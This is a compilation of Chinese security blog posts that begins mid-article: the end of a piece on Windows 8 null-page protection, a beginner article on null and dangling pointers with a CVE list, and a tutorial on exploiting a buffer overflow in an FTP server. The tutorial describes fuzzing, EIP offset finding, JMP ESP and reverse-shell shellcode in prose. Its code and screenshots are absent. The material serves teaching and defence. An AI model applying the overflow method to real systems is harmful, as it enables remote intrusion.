  2. **检测**** EPROCESS ****结构中的**** VdmAllowed *\*标志。**

Win8**** 以后的零页内存防护也只是保证了不会在零页内存分配空间,缓解分配零页内存空间来利用漏洞;从上图可知,利用零页内存分配导致的空指针漏洞也只是众多空指针漏洞类型中的一种。通过零页内存保护机制并不能缓解所有的空指针漏洞。

空指针漏洞防护技术(提高篇),首发于博客 – 伯乐在线

空指针漏洞防护技术(初级篇)

安全历史上由于空指针所带来的漏洞及攻击数不胜数,但由于其对利用者的编程能力有要求,对分析及防护者来说有更高的要求,所以国内对空指针漏洞及相关技术的讨论不是很多。今天这篇《空指针漏洞防护技术》,由绿盟科技威胁响应安全专家坐堂讲解,大家可以从中了解空指针漏洞的基础知识,并结合Windows 8的内存防护机制实例,动手实践空指针漏洞的防护技术。

1 背景

指针对于绝大部分的编程人员来说都不陌生,说起C/C++中指针的使用既带来了编程方面的方便;同时对编程人员来说,也是对个人编程能力的一种考验,不正确的使用指针会直接导致程序崩溃,而如果是内核代码中对指针的错误使用,会导致系统崩溃,后果也是相当严重。

一般情况下我们使用指针时,错误用法集中在三个方面:

  1. 由指针指向的一块动态内存,在利用完后,没有释放内存,导致内存泄露
  2. 野指针(悬浮指针)的使用,在指针指向的内存空间使用完释放后,指针指向的内存空间已经归还给了操作系统,此时的指针成为野指针,在没有对野指针做处理的情况下,有可能对该指针再次利用导致指针引用错误而程序崩溃。
  3. Null Pointer空指针的引用,对于空指针的错误引用往往是由于在引用之前没有对空指针做判断,就直接使用空指针,还有可能把空指针作为一个对象来使用,间接使用对象中的属性或是方法,而引起程序崩溃,空指针的错误使用常见于系统、服务、软件漏洞方面。

对于第一和第二种情况,我们可以通过一些代码审计工具在发布之前就能确定导致内存泄露或是野指针存在的地方。比如常见的工具有fority,valgrind等及时发现指针错误引用导致的问题。

对于第三种情况,空指针(Null Pointer)引用导致的错误,依靠代码审计工具很难发现其中的错误,因为空指针的引用一般不会发生在出现空指针然后直接使用空指针情况。往往是由于代码逻辑比较复杂空指针引用的位置会比较远,不容易发现;并且在正常情况下不会触发,只有在特定输入条件下才会引发空指针引用。对于排查此类错误也就更加困难。

本文不会重点讨论内存泄露和野指针的内容,而是通过一些现有的漏洞和实例来分析一下Null Pointer 空指针。从NULL Pointer概念、本质结合静态逆向及内核动态调试技术来了解在win7 32位和win8 32位下系统对Null Pointer处理情况有什么不同;Win8 32位针对Null Pointer添加了哪些防护机制。

本文从浅入深,循序渐进的讲述了NULL Pointer,结合静态逆向分析和内核级动态调试技术深入剖析win8系统对零页内存的保护机制,其中还涉及到了一些内核调试的技巧,对于对NULL Pointer的概念、使用比较模糊的人员值得一读,对于从事安全研究和学习的人员也是巩固、加深、拓展的好素材。

2 空指针由Null Pointer引发的漏洞

首先来看看近年来由于空指针的错误使用导致的系统、服务漏洞:

  • Microsoft windows kernel ‘win32k.sys’本地权限提升漏洞(CVE-2015-1721)(MS15-061)

该漏洞影响了windows Server 2003 SP2和R2 SP2,Windows Vista SP2, Windows Server 2008 SP2 和R2 SP1,Windows7 SP1,Windows8 ,Windows8.1,Windows Server2012 Gold和R2,Windows RT Gold and 8.1 。利用内核驱动程序 win32k.sys漏洞可以提升权限或是引起拒绝访问服务,主要原因是空指针的错误引用导致。

  • PHP空指针引用限制绕过漏洞(CVE-2015-3411)

PHP存在安全漏洞,由于程序多个扩展中缺少路径或某些函数的路径参数的空字节检查,允许远程攻击者利用漏洞可绕过目标文件系统访问限制,访问任意文件。

  • 0rg空指针引用拒绝访问漏洞(CVE-2008-0153 )

X.Org是X.Org基金会运作的一个对X Window系统的官方参考实现,是开源的自由软件。libXfont是一个用于服务器和实用程序的X字体处理库。 X.Org libXfont 1.4.9之前版本和1.5.1之前1.5.x版本的bitmap/bdfread.c文件中的’bdfReadCharacters’函数存在安全漏洞,该漏洞源于程序未能正确处理不能读取的字符位图。远程攻击者可借助特制的BDF字体文件利用该漏洞造成拒绝服务(空指针逆向引用和崩溃),执行任意代码。

  • Paragma TelnetServer空指针引用拒绝服务漏洞(BID-27143)

Pragma TelnetServer是一款远程访问和控制Telnet服务器。Pragma TelnetServer处理协议数据时存在漏洞,远程攻击者可能利用此漏洞导致服务器不可用。TelnetServer服务器对每个入站连接启动一个telnetd.exe进程,该进程在处理TELOPT PRAGMA LOGON telnet选项(138号)期间存在空指针引用,导致进程终止。尽管终止单个进程不会影响其他进程,但终止某些进程会导致拒绝访问服务器。

  • OpenSSL SSLv2客户端空指针引用拒绝服务漏洞(CVE-2006-4343)

OpenSSL是一种开放源码的SSL实现,用来实现网络通信的高强度加密,现在被广泛地用于各种网络应用程序中。OpenSSL的协议实现在处理连接请求时存在问题,远程攻击者可能利用此漏洞导致服务器拒绝服务。SSLv2客户端的get_server_hello()函数没有正确地检查空指针。使用OpenSSL的受影响客户端如果创建了到恶意服务器的SSLv2连接,就会导致崩溃。

  • Linux Kernel空指针间接引用本地拒绝服务漏洞(CVE-2014-2678)

Linux kernel 3.14版本内,net/rds/iw.c中的函数rds_iw_laddr_check在实现上存在本地拒绝服务漏洞,本地用户通过盲系统调用没有RDS传输的系统上的RDS套接字,利用此漏洞可造成空指针间接引用和系统崩溃。

  • ISC BIND named拒绝服务漏洞(CVE-2015-5477)

ISC BIND 9.9.7-P2之前版本、9.10.2-P3之前版本,named存在安全漏洞,远程攻击者通过TKEY查询,利用此漏洞可造成拒绝服务(REQUIRE断言失败及程序退出,指针未初始化)。

此类漏洞还有很多,从给出的几个漏洞来看,空指针漏洞主要是以拒绝服务访问漏洞为主,空指针错误引用自然会到底程序出现错误,严重者会崩溃,从而引起拒绝服务访问。

3 基础篇:空指针验证方式

由空指针的错误引用导致的漏洞,其原理本身很简单:错误引用空指针,导致非法访问内存地址。

那到底什么是空指针漏洞呢?在计算机编程过程中使用指针时有两个重要的概念:空指针和野指针。那么在前面我们提到的空指针漏洞是不是就是我们在编程时所说的空指针呢?要弄清这个问题,首先需要知道编程领域中空指针和野指针分别是什么,还要弄清楚什么是空指针漏洞。

3.1 概念性验证

假如 char p,那么p是一个指针变量,该变量还没有指向任何内存空间,如果p = 0; p = 0L; p = ”; p = 3 – 3; p = 0 * 5; 中的任何一种赋值操作之后(对于 C 来说还可以是 p = (void)0;), p 都成为一个空指针,由系统保证空指针不指向任何实际的对象或者函数。反过来说,任何对象或者函数的地址都不可能是空指针。(比如这里的(void)0就是一个空指针。当然除了上面的各种赋值方式之外,还可以用 p = NULL; 来使 p 成为一个空指针。因为在很多系统中#define NULL (void)0。

3.1.1 内存管理之空指针

空指针指向了内存的什么地方呢?标准中并没有对空指针指向内存中的什么地方这一个问题作出规定,也就是说用哪个具体的地址值(0×0 地址还是某一特定地址)表示空指针取决于系统的实现。我们常见的 空指针一般指向 0 地址,即空指针的内部用全 0来表示 (zero null pointer,零空指针)。

对于NULL能表示空指针,是否还有其他值来表示空指针呢?在windows核心编程第五版的windows内存结构一章中,表13-1有提到NULL指针分配的分区,其范围是从0×00000000到0x0000FFFF。这段空间是空闲的,对于空闲的空间而言,没有相应的物理存储器与之相对应,所以对这段空间来说,任何读写操作都是会引起异常的。

从图中看出,对NULL指针分配的区域有0×10000之多,为什么分配如此大的空间?在定义NULL的时候,只使用了 0×00000000这么一个值,而在表13-1有提到NULL指针分配的分区包含了0×00000000-0x0000FFFF,是不是有点浪费空间了;这是和操作系统地址空间的分配粒度相关的,windows X86的默认分配粒度是64KB,为了达到对齐,空间地址需要从0×00010000开始分配,故空指针的区间范围有那么大。

3.1.2知识拓展之野指针

“野指针”又叫”悬浮指针”不是NULL指针,是指向”垃圾”内存的指针。

“野指针”的成因主要有三种:

1)指针变量没有被初始化。任何指针变量刚被创建时不会自动成为NULL指针,它的缺省值是随机的,它会乱指一气。所以,指针变量在创建的同时应当被初始化,要么将指针设置为NULL,要么让它指向合法的内存。例如: char *p = NULL; char *str = (char *) malloc(100);

2)指针p被free或者delete之后,没有置为NULL,让人误以为p是个合法的指针。

free和delete只是把指针所指的内存给释放掉,但并没有把指针本身干掉。free以后其地址仍然不变(非NULL),只是该地址对应的内存变成垃圾内存,p成了”野指针”。如果此时不把p设置为NULL,会让人误以为p是个合法的指针。如果程序比较长,我们有时记不住p所指的内存是否已经被释放,在继续使用p之前,通常会用语句if (p != NULL)进行防错处理。很遗憾,此时if语句起不到防错作用,因为即便p不是NULL指针,它也不指向合法的内存块。

用free或delete释放了内存之后,就应立即将指针设置为NULL,防止产生”野指针”。内存被释放了,并不表示指针会消亡或者成了NULL指针。

3)指针操作超越了变量的作用范围。例如不要返回指向栈内存的指针或引用,因为栈内存在函数结束时会被释放,这种情况让人防不胜防,示例程序如下:

另外需要注意的是如果程序定义了一个指针,就必须要立即让它指向一个我们设定的空间或者把它设为NULL,如果没有这么做,那么这个指针里的内容是不可预知的,即不知道它指向内存中的哪个空间(即野指针),它有可能指向的是一个空白的内存区域,可能指向的是已经受保护的区域,甚至可能指向系统的关键内存,如果是那样就糟了,也许我们后面不小心对指针进行操作就有可能让系统出现紊乱,死机了。所以必须设定一个空间让指针指向它,或者把指针设为NULL。

3.2源码级验证

接下来就结合两个小的实验例子看看空指针,及使用空指针的后果。

3.2.1指针使用前期对比

本例是要验证指针变量在初始化前后的状况,下图是一段代码:

代码很简单只是验证指针变量在赋值与未赋值分别指向的空间。代码中要打印的值:

  1. 指针变量初始化之前的地址
  2. 指针变量初始化之前的值
  3. 指针变量初始化之后的地址
  4. 指针变量初始化之后的值

编译之后,运行三次程序看运行的结果:

从三次运行结果来看:

  1. 每次打印指针变量的地址都不同,因为每次运行程序,P指针变量的地址都在变动。
  2. 同一次打印中指针变量在初始化之前与初始化之后的地址没有变化。因为指针变量也是变量,变量在其生命周期中值可以变动,但是地址不会改变。
  3. 每次打印中指针变量在初始化之前的值发生了变化。指针变量的值本身也是指向一块内存地址,在初始化之前该变量不指向任何内存地址,所以该变量的值就是一个随机值(也就是指向随机内存地址)。
  4. 每次打印中指针变量在初始化之后的值没有发生变化,在指针变量初始化之后P=0,所以在内存初始化的指针变量指向了内存地址都为0×00000000的位置。在每次打印中指针变量在初始化之后的值就不会发生变化。

3.2.2指针使用后期对比

针对指针变量在使用完毕后,内存释放之后的情况对比,其源码如下:

代码没什么复杂逻辑,只是想验证一下在指针变量释放后, P=NULL之前的野指针与P=NULL之后的指针状况,打印的内容:

  1. 指针变量P开始的地址与值
  2. 指针变量P在分配内存空间之后的地址与值
  3. 指针变量P在释放内存空间之后的地址与值
  4. 指针变量P在P=NULL之后的地址与值

下图是在编译之后运行的结果:

a. 指针变量在声明之后一直到最后的程序结束,指针变量的地址一直没有变动为0x35f778。 b. 定义指针变量时其值为0×00000000 c. 在申请新的内存之后,指针变量的值为申请内存的地址0x6e7a78 d. 在内存释放后,P变成野指针,但是此时P的值仍然是申请的内存地址0x6e7a78,但是此时P指针已经不能再使用。 e. 在P=NULL,p重新指向了地址0×00000000处。

由此可见,我们在释放指针变量后,指针变量会变成野指针,如果此时引用该指针会出现非法访问,因此需要在释放指针变量后将指针变量指向空。

3.3可视化内存验证

为了能够更加直观的查看指针变量在内存中的变化,下面就结合动态调试的技术看看指针变量在整个使用过程中的变化情况。下面是一段程序代码:

在这里,我们使用OD动态调试器,来看看调用printf函数的情况:

a. 第一条打印语句

printf("p address :%p, value :%08x\n", &p, p);

在调用printf前其内存情况:

可知指针变量P的值为EAX=[EBP-4],P的地址ECX=EBP-4,此时的寄存器值:

调用printf之后的值刚好是这两个值

b.第二条打印语句printf(“p intialized address :%p, value :%08x\n”, &p, p);在调用printf前其内存情况:

可知指针变量P的值为EDX=[EBP-4],P的地址EAX=EBP-4,此时的寄存器值:

image013

调用printf之后的值刚好是这两个值:

c. 第三条打印语句printf(“p free address :%p, value :%08x\n”, &p, p);在调用printf前其内存情况:

可知指针变量P的值为EAX=[EBP-4],P的地址ECX=EBP-4,此时的寄存器值:

image016

调用printf之后的值刚好是这两个值:

d. 第四条打印语句printf(“p ultimate address :%p, value :%08x\n”, &p, p);在调用printf前其内存情况:

可知指针变量P的值为EDX=[EBP-4],P的地址EAX=EBP-4,此时的寄存器值:

调用printf之后的值刚好是这两个值:

3.4 概念总结之空指针漏洞

前面对什么是空指针,什么是野指针做了讲解和验证。

在编程领域的空指针是指向NULL的指针,也就是说指向零页内存的指针叫空指针。对于未初始化的指针,释放内存而未将指针置为NULL和指针指向超出范围的情况称为野指针。那么在第二节中列举的空指针漏洞及未列举的空指针漏洞是不是都是由于引用零页内存导致的呢(比如CVE-2014-2678)?其实不然,有些漏洞是由于引用未初始化的指针或是引用超出范围的指针所导致,而这类漏洞应该说是由于错误的引用了野指针。比如最新的BIND漏洞(CVE-2015-5477):

但是到目前为止还没用听说过哪个漏洞命名为野指针漏洞,而更多的是空指针漏洞。也就是说在计算机安全领域中由空指针或是野指针导致的漏洞统一叫做空指针漏洞。

…未完待续 在下一次《空指针漏洞防护技术-高级篇》中,我们将介绍空指针利用及Windows 8中相应的防护机制。

空指针漏洞防护技术(初级篇),首发于博客 – 伯乐在线

一个缓冲区溢出漏洞的简易教程

这篇文章类似于“傻瓜系列之利用缓冲区溢出”。在这类漏洞中,我们的做法是利用网络,程序控制器,输入等等,发送超大的数据缓冲区给程序,覆盖程序内存的重要部分。在这些缓冲区覆盖程序内存之后,我们可以重定向程序的执行流并运行注入代码。

首先,我们需要做的是查明程序的哪一部分可以用来重写内存。处理这个任务的过程叫作“fuzzing”。我们可以为Metasploit框架中的各种协议找到若干个fuzzer(执行fuzzing任务的工具)。

接下来这个例子中,我们用metasploit对一个ftp服务器进行fuzz:

Fuzzer运行几分钟后,程序就崩溃了,见下图:

在Metasploit窗口中,我们可以看到崩溃缓冲区的长度:

在分析所有输出内容之后,我们可以得出:在ftp服务器通过用户命令发送了一个大于250的缓冲区后,程序崩溃了。

我们可以使用python来重现崩溃:

现在,我们重新实施这次攻击,但是首先要将FTP SERVER进程附加到一个调试器上,在这里我们用的调试器是OLLYDBG。

在实施攻击之后,我们可以很直观地看到ESP,EDI和EIP寄存器被覆盖。

稍微研究一下,大家可以发现:EIP控制程序的执行流,如果可以重写EIP,那么就可以手动重定向程序的执行流。EIP指向下一个待执行地址。

在这里,我们需要知道要重写的EIP缓冲区长度。我们可以在metasplpit中用pattern_create创建一种模式,并且作为一个缓冲区使用,来获取重写EIP的4个字节的位置。

把这些命令添加到我们的利用代码中,并再次运行:

现在,我们可以看到程序内存中的模式。

现在需要使用pattern_offset(偏移量模式)来找到那4个字节的准确位置(只要把4个字节作为一个脚本参数粘贴到EIP里面)。

由于在EIP之后ESP就被重写,我们可以写出这样一段利用代码如下:

并且,如果重新加载,在OLLY里面,可以看到它运行得很好。

在EIP之后,是这样改写ESP的:

那么在EIP里面我们需要做什么呢?将我们的恶意代码放到重写EIP的代码后面,然后需要做的只是简单的JMP ESP。

记住,EIP将包含下一条待执行指令的地址,所以此时需要做的是找到包含JMP ESP的地址。我们可以在OLLY(在E标签页)中进行查找。

一个简单的命令检索将会返回给我们一个地址。

现在,我们拷贝这个地址:

最后,我们需要做的是,在实行攻击之后,加入并执行我们的shell代码。我们可以用metasploit生成这些shellcode。

现在我们的利用代码如下。注意一下案例中CPU的ENDIAN,在EIP寄存器中我们会用到小端格式。

现在,如果我们再次实行攻击,将会运行我们的shellcode。

好的,现在我们可以生成另外的shellcode来执行不同的任务。

我们可以生成一段反向连接的shell代码,来访问我们的受害主机。

把这行代码我们的利用代码中,

最后运行利用代码:

我们的利用代码编写完成

提示:注意一些特殊字符。如果在缓冲区中间,利用代码被截断,可能是由于一些特殊字符导致的。特殊字符诸如“xa0″、 “|x00″等,会截断shellcode,你必须通过测试找到这些字符,并且在shellcode中避免用到,可别说我没提醒过你!

一个缓冲区溢出漏洞的简易教程,首发于博客 – 伯乐在线